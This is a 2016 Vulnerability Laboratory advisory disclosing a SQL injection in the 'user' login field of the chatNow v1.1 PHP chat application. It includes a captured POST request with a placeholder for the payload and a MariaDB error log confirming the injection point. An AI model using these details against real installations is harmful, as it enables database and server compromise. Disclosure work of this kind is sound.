Document Title:
===============
chatNow v1.1 - SQL Injection Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2013

Source: https://github.com/thiagosf/chatNow


Release Date:
=============
2016-11-28


Vulnerability Laboratory ID (VL-ID):
====================================
2013


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
Chat Open Source desenvolvido com PHP e MySQL. Com suporte para envio de videos do Youtube e imagens. Construido com jQuery.

(Copy of the Vendor Homepage: http://chatnow.thiagosf.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote sql-injection vulnerability in the official chatNow v1.1 open source web-application.


Vulnerability Disclosure Timeline:
==================================
2016-11-28: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
thiagosf
Product: chatNow 1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered  in the official chatNow v1.1 content management system.
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application.

The sql injection vulnerability is located in input name `user` which is found in the connection form. Remote attackers are able 
to execute own sql commands, the attack vector of the vulnerability is application-side and the request method to inject is POST.

The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s): 
[+] POST

Vulnerable Input (Name):
[+] user


Proof of Concept (PoC):
=======================
The remote sql-injection vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: localhost/chatNow/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/chatNow/chat/login.php
Cookie: PHPSESSID=3g7cs1mammh9p767oed1v187t0; __utma=32540652.120788788.1479381166.1479381166.1479381166.1; __utmb=32540652.5.10.1479381166; __utmc=32540652; __utmz=32540652.1479381166.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
-
POST Method: user=[SQL INJECTION HERE]id_room=14&captcha=5253


--- PoC Error Logs ---
SELECT * FROM chat_users WHERE user = "1"'" ORDER BY id DESC
You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right syntax to use near ''" ORDER BY id DESC' at line 1


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the web-application is estimated as high. (CVSS 7.0)


Credits & Authors:
==================
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™